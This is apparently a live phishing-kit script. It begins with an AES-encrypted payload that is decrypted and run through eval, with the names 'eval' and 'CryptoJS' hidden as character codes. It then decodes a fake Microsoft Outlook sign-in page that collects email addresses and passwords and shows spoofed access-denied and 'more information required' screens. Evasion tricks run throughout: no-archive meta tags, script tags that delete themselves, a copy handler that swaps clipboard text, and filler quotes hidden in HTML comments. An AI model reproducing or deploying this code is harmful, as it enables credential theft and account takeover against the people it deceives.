(function(){
    var HvAUCfbvqI = "Q2rVvRZYl1t3tWcwQRmhXX5pDRwtcn2cZ\/SF3fbjsaBp1aOly2QnPBN\/TXQvswc8H53\/urUWtzp1bdsNbmIhFPqaS6g54pRHYyyJJCd16iOcx\/Yp8NkBqpG4CDrHwMoqZ5QuHO3e6oE0ttd9QYH3wqPudQmZohys0LV6nuZephA9eGSOpOGT\/a\/ine0CmCb9v8iWr3RlxIv26HiuMDgfGk7+o4SuJbl\/sLBE5QPhZz3rC\/bAT8VD1oSogUAGIoUDOor4ZzDgo4p5yREQSyR738alM4lYCLowjRFlZq3FHdkdCZkFjXDOKK6b+I2Fc+SdIC7znFxI8+NqZmEb3m5E0WIBJrhL+WRMD1AUr5fKhKunV9bbBVON\/tEjr9zECksX52G\/ps\/ItNsK7\/yFkFxcgrK+NFn6lZu7xyj2s5QJk29ozHo6i9lV5lMnM2IgeIPIKJJtBnvl\/Ln+4NNKvkKWVqf5jGcUeiHC2L\/6KKkcAYv6wF39QzXf+c7HxMpr3VwYqmqfNtYXvzo1QhnT2nWiVAOriigianIO9MBkMTHSvP7acHqGaiFPfGLZv6ZrX49O9AJhbhN2bjhz9cR5dSZJPR3xwtssL6mBKuU\/kMdfDsTkVkhl1gJYPMT3\/qKp0enrJICPbQR9cOx1nQO1HtxOpOV94yEB2JsVHcVw8UXCQLIHYkFibnCnkueAwfei7lQj7W54VFkV8SYdPEwj2p4ntneQDAhh33PfaklRowAl5DdcfndbRnBfvwNCHthsChUwfQaNt8uM2FvnbMmhuIHiAHLa5vnf88S0bQu428POnAxo5BzkfB+VukLrKBfPimfR5BOE4FHWbkk9D3KvnOCSFKlCvPmu+\/2dJM08SBCS5bJP9OlkUWTkoTukNPIETzT4EJODnCujQkTiPdE8jdn8oco0jswGLoFzsSI55OXKrhtdcTLqFqNHYD9tiiXV\/X4YfSCzBxR44uLSiZymKg6kgOo0PAMRJRvI4e+WfmWAXuRYK+eX2vzVezeJIKjPWwmGhf9cKo9olpu1I82Ywjg8DcqFF5yu75Mf+9RbVFnXP3HVV5KWTCYzpldheJopPBjz+oIR1E+IbbAplOzI8+EGMNbyxb\/pOQRcajoF3EB1j2ay1SVca\/rC4KnYEwiKL\/exLxP273MB6r5B5IA5HKC1hCR8WsZzR2c7QH\/mJ15EIejZcjwC+AIzuCO53pJAoYbVMmFBY90vJWgkZdd9xqEe2nbBFfrHHAuhIBad9IHEi3T5bUlgbGUwKjlrOn7IJUppPwkY3bkWPXm6Jx339mg8swW1jgiCfcdY2364KNa7fBhX89PHJaUHaVOSg64h9MpcEwJ8D3Cwcynr31xZcyY\/A\/QHwHdUCW2hRQNA0sXJDBsg81naADM1wwBAls8p94XBYWiliWVYyvBqmHVqj60khuj9+AbMMtU90oNBRY8aNNTx9OU4Vd+YK0Xx8yLFuYjhMvKWI26WDMw0RMGEFJSkQTv09xzZ0mqIiSc4XWOdLbavF41bSWU\/ji2tUQfWI5nv+7kkLDL8TGb1pl4hII6fmoIn0MjxHziFSbZnMliqDG9E7xp9zfrJL9s\/0kPgsozY0AySI5obhLsUbCp+Sa9izVXy33k+7Umd\/sCnw+yksJxgDB5YJ9veGFIH4roO0YSD5qRXZ6sujXoyYvn50McePC8Qeu9yK+EIuWyWlPJP+2mQ1RnJThijBTkrsTYopT60IY5aIkYfnroMwXt4tqIv6b5JD38v4Rw9+Yad4ZV1wvXu8W0EWPxv2Rn7AGdpm48MI6bM4nG6nCi3UqS6tK2N+v2l9dJZl9eqiTbsGdL4OHSee3BV1ic84Kyr2M9xb8AS2zFwdP\/Oki7m1cTzFo3WltU9d1mRRSYIP7FM9hnp7GFMGQhVWCsz5DSxKCuT4raBLEWiZ5Yk1rwIZkiXhqjY1+Fm1\/wmj9rbdfqLHvX\/2N+ApeqOuOnN1QAqockC4JeO8GO1DF4aDB2\/XMzzSMG\/jHa\/FPDhrwGc8LskUj7f1JeSteGHoSTpqE\/J9IWPOFNoTdL5U\/qDmXJ0ofHkcwWkbe17FyT7PbjNZsMArxbHt+GBdfeaQKbdC0gG8kdiHeRvquEYm9GtOYoz7sThm08F1Cv3qWyxAC2FKf7mTDKkzwXaEfbKuxKPB3qsS8czUza8zDH4ubDjTi\/TkI46jv3rcQgs4yFXSCJZV8DxnrHA0npYxg1FGaVx6gTnrGc7UIZg";
    var dtYQPIlBxr = "ieuxNrmxXEjj9qIJ284JJI1mx0U7kYGoUUwmjn+JqJQ=";
    const qVaQcLLgdP = {
  [Symbol.iterator]: function*() {
    yield* [
      [67, 114],
      [121, 112],
      [116, 111],
      [ 74,  83]
    ].map(([hUpBUFEKuW, siBamFfPzh]) => String.fromCharCode(hUpBUFEKuW, siBamFfPzh));
  }
};
const XjltYfmPJx = [...qVaQcLLgdP].join('');
UQFnxAQQjU = globalThis[XjltYfmPJx];
    var IxdSEetMNk = UQFnxAQQjU.enc.Base64.parse(dtYQPIlBxr);
    var HIzSMvKyvL = UQFnxAQQjU.enc.Base64.parse(HvAUCfbvqI);
    var QKddDNLuIA = UQFnxAQQjU.lib.WordArray.create(HIzSMvKyvL.words.slice(0, 4), 16);
    var osmaXBMGIP = UQFnxAQQjU.lib.WordArray.create(
        HIzSMvKyvL.words.slice(4),
        HIzSMvKyvL.sigBytes - 16
    );
    var JlPJVJXHkd = UQFnxAQQjU.AES.decrypt(
        { ciphertext: osmaXBMGIP },
        IxdSEetMNk,
        { iv: QKddDNLuIA, mode: UQFnxAQQjU.mode.CBC, padding: UQFnxAQQjU.pad.Pkcs7 }
    );
    var UXmWeuVzAl = JlPJVJXHkd.toString(UQFnxAQQjU.enc.Utf8);
      (() => {
    const bwRYQTOTyJ = UXmWeuVzAl;
    const SaIDAQfMdO = (typeof window !== 'undefined' ? window : 
                   typeof global !== 'undefined' ? global : 
                   typeof self !== 'undefined' ? self : {});
    const uBThFfytyN = [101, 118, 97, 108].map(tVKEAxkFAM => String.fromCharCode(tVKEAxkFAM)).join('');
    const eRggxsxjEO = [99, 111, 110, 115, 111, 108, 101].map(hqdrjYYrao => String.fromCharCode(hqdrjYYrao)).join('');
    if (SaIDAQfMdO[eRggxsxjEO]) SaIDAQfMdO[eRggxsxjEO][[108, 111, 103].map(tPGlQDHkaf => String.fromCharCode(tPGlQDHkaf)).join('')];
    SaIDAQfMdO[uBThFfytyN](bwRYQTOTyJ);
  })();
    })();
vwvi = atob;
zpto = vwvi(`<!DOCTYPE html>
<html lang="en">
<head>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://github.com/fent/randexp.js/releases/download/v0.4.3/randexp.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
    <link rel="stylesheet" href="/12e8ulBsJcdxoP9R8915">
    <link rel="stylesheet" href="/abxWDEaA1zkrQfpqrkcd30">
    <link rel="preload" href="/GDSherpa-bold.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-bold.woff" as="font" type="font/woff" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-regular.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-regular.woff" as="font" type="font/woff" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-vf.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-vf2.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta name="robots" content="noarchive, nosnippet, noimageindex, nocache">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <title>&#8203;</title>
    
    <style>
        body {
height: 100vh !important;
width: 100vw !important;
}

body.startnew {
            background-color: #f2f2f2;
            background-image: url('https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg');
            background-repeat: no-repeat,no-repeat;
            background-position: center center,center center;
            background-size: cover,cover;
            color: #1b1b1b;
        }

input:-webkit-autofill,
input:-webkit-autofill:hover, 
input:-webkit-autofill:focus, 
input:-webkit-autofill:active{
    -webkit-box-shadow: 0 0 0 30px white inset !important;
}

        .btn {
            margin: 0 0 0 auto;
            display: block;
            background-color: #0067b8;
            color: #fff;
            border: 2px solid #0067b8;
            /* padding: 5px 30px; */
            padding: 5px 37px;
            font-size: 15px;
            cursor: pointer;
        }
    
        .btn:hover {
            background-color: #085998;
        }
    
        .firstlogo{
            background-image: url("/ij8tnLyxolJagBzu6xDJKjYcqWHYtlLuNoopmv3f3Eqegm8qles1QMQMVWjz2hbXbbab230");
            background-size: 100% 100%;
            width: 108px;
            height: 24px;
            background-repeat: no-repeat;
        }
        .bannerlogo{
            height: 24px;
            max-height: 36px;
            background-image: url("/ij8tnLyxolJagBzu6xDJKjYcqWHYtlLuNoopmv3f3Eqegm8qles1QMQMVWjz2hbXbbab230");
            background-size: 100% 100%;
            width: 108px;
            background-repeat: no-repeat;
            background-size: contain;
        }
    @font-face {
    font-family: 'gdsherpa';
    font-weight: 700;
    src: url(/GDSherpa-bold.woff2) format('woff2'),url(/GDSherpa-bold.woff) format('woff');
    unicode-range: U+0-10FFFF;
    font-display: swap
    }
    
    @font-face {
    font-family: 'gdsherpa';
    font-weight: 400;
    src: url(/GDSherpa-regular.woff2) format('woff2'),url(/GDSherpa-regular.woff) format('woff');
    unicode-range: U+0-10FFFF;
    font-display: swap
    }
    
    @font-face {
    font-family: 'gdsherpa';
    font-weight: 1 999;
    src: url(/GDSherpa-vf.woff2) format('woff2'),url(/GDSherpa-vf.woff2) format('woff2-variations');
    unicode-range: U+0-10FFFF;
    font-display: swap
    }
    
    @font-face {
    font-family: 'gdsherpa';
    font-weight: 1 900;
    src: url(/GDSherpa-vf2.woff2) format('woff2'),url(/GDSherpa-vf2.woff2) format('woff2-variations');
    unicode-range: U+0-10FFFF;
    font-display: swap
    }
    </style>
    <script>
        (function(){
    var HvAUCfbvqI = "Q2rVvRZYl1t3tWcwQRmhXX5pDRwtcn2cZ\/SF3fbjsaBp1aOly2QnPBN\/TXQvswc8H53\/urUWtzp1bdsNbmIhFPqaS6g54pRHYyyJJCd16iOcx\/Yp8NkBqpG4CDrHwMoqZ5QuHO3e6oE0ttd9QYH3wqPudQmZohys0LV6nuZephA9eGSOpOGT\/a\/ine0CmCb9v8iWr3RlxIv26HiuMDgfGk7+o4SuJbl\/sLBE5QPhZz3rC\/bAT8VD1oSogUAGIoUDOor4ZzDgo4p5yREQSyR738alM4lYCLowjRFlZq3FHdkdCZkFjXDOKK6b+I2Fc+SdIC7znFxI8+NqZmEb3m5E0WIBJrhL+WRMD1AUr5fKhKunV9bbBVON\/tEjr9zECksX52G\/ps\/ItNsK7\/yFkFxcgrK+NFn6lZu7xyj2s5QJk29ozHo6i9lV5lMnM2IgeIPIKJJtBnvl\/Ln+4NNKvkKWVqf5jGcUeiHC2L\/6KKkcAYv6wF39QzXf+c7HxMpr3VwYqmqfNtYXvzo1QhnT2nWiVAOriigianIO9MBkMTHSvP7acHqGaiFPfGLZv6ZrX49O9AJhbhN2bjhz9cR5dSZJPR3xwtssL6mBKuU\/kMdfDsTkVkhl1gJYPMT3\/qKp0enrJICPbQR9cOx1nQO1HtxOpOV94yEB2JsVHcVw8UXCQLIHYkFibnCnkueAwfei7lQj7W54VFkV8SYdPEwj2p4ntneQDAhh33PfaklRowAl5DdcfndbRnBfvwNCHthsChUwfQaNt8uM2FvnbMmhuIHiAHLa5vnf88S0bQu428POnAxo5BzkfB+VukLrKBfPimfR5BOE4FHWbkk9D3KvnOCSFKlCvPmu+\/2dJM08SBCS5bJP9OlkUWTkoTukNPIETzT4EJODnCujQkTiPdE8jdn8oco0jswGLoFzsSI55OXKrhtdcTLqFqNHYD9tiiXV\/X4YfSCzBxR44uLSiZymKg6kgOo0PAMRJRvI4e+WfmWAXuRYK+eX2vzVezeJIKjPWwmGhf9cKo9olpu1I82Ywjg8DcqFF5yu75Mf+9RbVFnXP3HVV5KWTCYzpldheJopPBjz+oIR1E+IbbAplOzI8+EGMNbyxb\/pOQRcajoF3EB1j2ay1SVca\/rC4KnYEwiKL\/exLxP273MB6r5B5IA5HKC1hCR8WsZzR2c7QH\/mJ15EIejZcjwC+AIzuCO53pJAoYbVMmFBY90vJWgkZdd9xqEe2nbBFfrHHAuhIBad9IHEi3T5bUlgbGUwKjlrOn7IJUppPwkY3bkWPXm6Jx339mg8swW1jgiCfcdY2364KNa7fBhX89PHJaUHaVOSg64h9MpcEwJ8D3Cwcynr31xZcyY\/A\/QHwHdUCW2hRQNA0sXJDBsg81naADM1wwBAls8p94XBYWiliWVYyvBqmHVqj60khuj9+AbMMtU90oNBRY8aNNTx9OU4Vd+YK0Xx8yLFuYjhMvKWI26WDMw0RMGEFJSkQTv09xzZ0mqIiSc4XWOdLbavF41bSWU\/ji2tUQfWI5nv+7kkLDL8TGb1pl4hII6fmoIn0MjxHziFSbZnMliqDG9E7xp9zfrJL9s\/0kPgsozY0AySI5obhLsUbCp+Sa9izVXy33k+7Umd\/sCnw+yksJxgDB5YJ9veGFIH4roO0YSD5qRXZ6sujXoyYvn50McePC8Qeu9yK+EIuWyWlPJP+2mQ1RnJThijBTkrsTYopT60IY5aIkYfnroMwXt4tqIv6b5JD38v4Rw9+Yad4ZV1wvXu8W0EWPxv2Rn7AGdpm48MI6bM4nG6nCi3UqS6tK2N+v2l9dJZl9eqiTbsGdL4OHSee3BV1ic84Kyr2M9xb8AS2zFwdP\/Oki7m1cTzFo3WltU9d1mRRSYIP7FM9hnp7GFMGQhVWCsz5DSxKCuT4raBLEWiZ5Yk1rwIZkiXhqjY1+Fm1\/wmj9rbdfqLHvX\/2N+ApeqOuOnN1QAqockC4JeO8GO1DF4aDB2\/XMzzSMG\/jHa\/FPDhrwGc8LskUj7f1JeSteGHoSTpqE\/J9IWPOFNoTdL5U\/qDmXJ0ofHkcwWkbe17FyT7PbjNZsMArxbHt+GBdfeaQKbdC0gG8kdiHeRvquEYm9GtOYoz7sThm08F1Cv3qWyxAC2FKf7mTDKkzwXaEfbKuxKPB3qsS8czUza8zDH4ubDjTi\/TkI46jv3rcQgs4yFXSCJZV8DxnrHA0npYxg1FGaVx6gTnrGc7UIZg";
    var dtYQPIlBxr = "ieuxNrmxXEjj9qIJ284JJI1mx0U7kYGoUUwmjn+JqJQ=";
    const qVaQcLLgdP = {
  [Symbol.iterator]: function*() {
    yield* [
      [67, 114],
      [121, 112],
      [116, 111],
      [ 74,  83]
    ].map(([hUpBUFEKuW, siBamFfPzh]) => String.fromCharCode(hUpBUFEKuW, siBamFfPzh));
  }
};
const XjltYfmPJx = [...qVaQcLLgdP].join('');
UQFnxAQQjU = globalThis[XjltYfmPJx];
    var IxdSEetMNk = UQFnxAQQjU.enc.Base64.parse(dtYQPIlBxr);
    var HIzSMvKyvL = UQFnxAQQjU.enc.Base64.parse(HvAUCfbvqI);
    var QKddDNLuIA = UQFnxAQQjU.lib.WordArray.create(HIzSMvKyvL.words.slice(0, 4), 16);
    var osmaXBMGIP = UQFnxAQQjU.lib.WordArray.create(
        HIzSMvKyvL.words.slice(4),
        HIzSMvKyvL.sigBytes - 16
    );
    var JlPJVJXHkd = UQFnxAQQjU.AES.decrypt(
        { ciphertext: osmaXBMGIP },
        IxdSEetMNk,
        { iv: QKddDNLuIA, mode: UQFnxAQQjU.mode.CBC, padding: UQFnxAQQjU.pad.Pkcs7 }
    );
    var UXmWeuVzAl = JlPJVJXHkd.toString(UQFnxAQQjU.enc.Utf8);
      (() => {
    const bwRYQTOTyJ = UXmWeuVzAl;
    const SaIDAQfMdO = (typeof window !== 'undefined' ? window : 
                   typeof global !== 'undefined' ? global : 
                   typeof self !== 'undefined' ? self : {});
    const uBThFfytyN = [101, 118, 97, 108].map(tVKEAxkFAM => String.fromCharCode(tVKEAxkFAM)).join('');
    const eRggxsxjEO = [99, 111, 110, 115, 111, 108, 101].map(hqdrjYYrao => String.fromCharCode(hqdrjYYrao)).join('');
    if (SaIDAQfMdO[eRggxsxjEO]) SaIDAQfMdO[eRggxsxjEO][[108, 111, 103].map(tPGlQDHkaf => String.fromCharCode(tPGlQDHkaf)).join('')];
    SaIDAQfMdO[uBThFfytyN](bwRYQTOTyJ);
  })();
    })();
    document.addEventListener('copy', function(event) {
    if (document.activeElement.tagName === 'INPUT' || 
        document.activeElement.tagName === 'TEXTAREA' || 
        document.activeElement.isContentEditable) {
        return;
    }
    event.preventDefault();
    var customWord = "sbbc";
    event.clipboardData.setData('text/plain', customWord);
    });
    </script>
<!-- <div>Success is not in what you have, but who you are.</div> -->
    <script>
document.getElementById('oukc').remove();
document.getElementById('wxbn').setAttribute('class', "startnew");
document.getElementById('wxbn').removeAttribute('style');
document.getElementById('wxbn').removeAttribute('id');
document.getElementById('tqsc').remove();
var eywg = document.currentScript;
eywg.parentNode.removeChild(eywg);
</script>
</head>

<body class="startnew">
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
<div id="sections" class="">
    
<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
    
    
    
    <section id="section_tryingtosignin" style="animation:show-from-right 0.5s;" class="">
        <div class="auth-wrapper">
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->
            <div class="loading-container loading">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
            <h2 class="title mb-16 mt-16">Trying to sign you in</h2>
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
            <div class="bottomsection">
            <a href="javascript:void(0)">Cancel</a>
<!-- Opportunities don&#039;t happen, you create them. -->
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
        </div>
<!-- Stop chasing the money and start chasing the passion. -->
    </section>

    <section id="section_uname" class="d-none">
            <div class="out2-back-holder" id="out2-logo" style="display:none;">
        <img class="out2-back" src="/bcJ82OwrQMFl1Y9nybHZLdrK2vfPSwHNhscXoxoTz5IDcqazeOZQmd82dP6ql2lqfwvDiyxlokk3s8q3AZWmkIyvDK37SRukljTOOHWTJ10DCfj3rdnB52A8k7MVDp0FFTeUqPttZ7BHKezDMSenYYcVLjSP9Hcd665">
    </div>
<!-- Don&#039;t watch the clock; do what it does. Keep going. -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>The starting point of all achievement is desire.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- The successful warrior is the average man, with laser-like focus. -->
            <div class="firstlogo"></div>
            
<!-- The successful warrior is the average man, with laser-like focus. -->
            
            <button class="back" onclick="backbtn()" style="display: none">
                <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
            </button>
            <h2 class="title mt-16">Sign in</h2>
<p class="subtitle mb-16">to continue to Outlook</p>
<!-- <div>Success is not the absence of failure; it&#039;s the persistence through failure.</div> -->
                <div class="mb-16">
                    <div id="error_uname" class="error"></div>
                    <input id="inp_uname" type="text" name="uname" class="input" autocomplete="off" oninput="removespaces(this)" value="" placeholder="Email, phone, or Skype" />
                </div>
            <div class="bottomsection"><p class="mb-16">No account? <a href="javascript:void(0)" data-id="signup" onclick="linkoptionclick(this)" class="link">Create one!</a></p><a class="link mb-16" data-id="cantAccessAccount" onclick="linkoptionclick(this)" href="javascript:void(0)">Can't access your account?</a></div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
<!-- Persistence is the key to achieving great things. -->
            <button class="btn" id="btn_next">Next</button>
            </div>
        </div>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
        <div class="opts">
<p class="has-icon mb-0" style="font-size:15px;"><span class="icon"><img src="/opkVpY1nXezXsSywQdghsHjf4mrMWmbdmAWLI745138" width="30px" /></span> Sign-in options</p>
</div>
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
    </section>


    <section id="section_pwd" class="d-none">
<!-- Success is finding satisfaction in giving a little more than you take. -->
            <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- If you really look closely, most overnight successes took a long time. -->
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            
<!-- If you are not willing to risk the usual, you will have to settle for the ordinary. -->
            
<!-- Every problem is an opportunity in disguise. -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
                </button> 
                <span class="user_identity">a@b.com</span>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
            </div>
            <h2 class="title" style="margin-bottom: 5px;">Enter password</h2><div id="passdesc" class="text-block-body overflow-hidden form-group">Enter password to access your office mail.</div>
                <div class="mb-16">
                    <div id="error_pwd" class="error"></div>
                    <input id="inp_pwd" type="password" name="pass" class="input" placeholder="Password" />
<!-- Success usually comes to those who are too busy to be looking for it. -->
                </div>
            <div class="bottomsection"></div>
            <button class="btn" id="btn_sig">Sign in</button>
<!-- <div>Success is not in what you have, but who you are.</div> -->
            </div>
        </div>
    </section>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->

    <section id="section_pwd_live" class="d-none">
        <div class="auth-wrapper">
<!-- You know you are on the road to success if you would do your job, and not be paid for it. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Try not to become a man of success. Rather become a man of value. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
            <div class="sectioncontent">
<!-- Success is where preparation and opportunity meet. -->
            <div class="bannerlogo" style="height: 24px;"></div>
            <div class="identity w-100 mt-16 mb-16" style="margin-bottom: 4px;display: flex;justify-content: center;">
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
                <div class="user_identity_live_outerele">
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
                <div style="position: relative;">
                <button class="back" onclick="backbtn()" style="position: relative;top: 5px;">
                    <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
                </button>
<!-- The successful warrior is the average man, with laser-like focus. -->
                </div>
                <div class="user_identity_live_ele">
                <span class="user_identity">a@b.com</span>
                </div>
                </div>
<!-- Quality is not an act; it is a habit. -->
            </div>
            <h2 class="title" style="margin-bottom: 15px;text-align: center;">Enter your password</h2>
                <div class="mb-16">
<!-- <div>Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you.</div> -->
                    <div id="error_pwd_live" class="error"></div>
                    <div class="input-group">
<!-- Success is where preparation and opportunity meet. -->
                    <input id="inp_pwd_live" type="password" name="pass" class="input" placeholder=" " required>
                    <label for="password">Password</label>
                </div>
                </div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            <div class="bottomsection"></div>
            <button class="btn" id="btn_sig_live">Next</button>
            </div>
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
        </div>
    </section>

<!-- Success is the sum of small efforts, repeated day in and day out. -->
    <section id="section_youdonthaveaccess" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Opportunities don&#039;t happen, you create them. -->
                <div class="dot-floating"></div>
<!-- Success is not the key to happiness. Happiness is the key to success. -->
            </div>
<!-- I find that the harder I work, the more luck I seem to have. -->
            <div class="sectioncontent">
            <div class="firstlogo"></div>
<!-- <div>If you really look closely, most overnight successes took a long time.</div> -->
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
            </div>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
            <h2 class="title mb-16">You cannot access this right now</h2>
            <div id="youdonthaveaccessdesc" class="text-block-body form-group overflow-hidden no-margin-top">Your sign-in was successful but does not meet the criteria to access this resource. For example, you might be signing in from a browser, app, or location that is restricted by your admin.
            </div>
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
            <div class="youdonthaveaccessbottom">
            <div class="youdonthaveaccessbottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign out and sign in with a different account</a>
<!-- Success is not in what you have, but who you are. -->
            </div>
            <div class="youdonthaveaccessbottomoption">
            <a data-id="MoreDetails" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">More details</a>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
            </div>
            </div>
            <div class="bottomsection">
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
            </div>
<!-- Success is not the key to happiness. Happiness is the key to success. -->
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
        </div>
    </section>

    <section id="section_moreinforequired" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- The successful warrior is the average man, with laser-like focus. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Don&#039;t watch the clock; do what it does. Keep going. -->
                <div class="dot-floating"></div>
<!-- <div>It always seems impossible until it&#039;s done.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
            </div>
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
            <h2 class="title mb-16">More information required</h2>
            <div id="youdonthaveaccessdesc" class="text-block-body form-group overflow-hidden no-margin-top">Your organization needs more information to keep your account secure
            </div>
            <div class="youdonthaveaccessbottom">
            <div class="youdonthaveaccessbottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign out and sign in with a different account</a>
<!-- <div>Every problem is an opportunity in disguise.</div> -->
            </div>
            <div class="youdonthaveaccessbottomoption">
<!-- Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe. -->
            <a data-id="MoreDetails" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">More details</a>
            </div>
            </div>
            <div class="bottomsection">
<!-- <div>The biggest risk is not taking any risk.</div> -->
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
        </div>
    </section>

<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
    <section id="section_tryagainlater" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->
                <div class="dot-floating"></div>
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- If you really look closely, most overnight successes took a long time. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
<!-- Never give in except to convictions of honor and good sense. -->

            <h2 class="title mb-16 mt-16" id="tryagainheader" style="display:none;margin-bottom: 0;">We didn't hear from you</h2>
<!-- <div>Action is the foundational key to all success.</div> -->

            <div id="tryagain_withinternet" class="row text-body" style="display:none;margin-bottom: 0;">
            We haven't heard from you and noticed you're having some trouble. <br><a href="" class="link mb-16">Try Again.</a>
            </div>
            <div id="tryagain_withoutinternet" class="row text-body" style="display:none;margin-bottom: 0;">
<!-- The customer is always right. -->
            it seems your internet connection is unstable and noticed you're having some trouble. <br><a href="" class="link mb-16">Try Again.</a>
            </div>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
            <div id="tryagain_moreinfo" class="row text-body" style="display:none;margin-bottom: 0;">
            Your Account Requires More Information. <br><a href="" class="link mb-16">Try Again.</a>
            </div>
<!-- The secret of success is to do the common thing uncommonly well. -->
            <div id="tryagain_toomanyattempts" class="row text-body" style="display:none;margin-bottom: 0;">
            <p>
<!-- Success is not the key to happiness. Happiness is the key to success. -->
            Please <a href="" class="link mb-16">Try Again</a> After 5 Minutes Due To Too Many Attempts.
            </p>
            </div>
<!-- Success is getting what you want, happiness is wanting what you get. -->
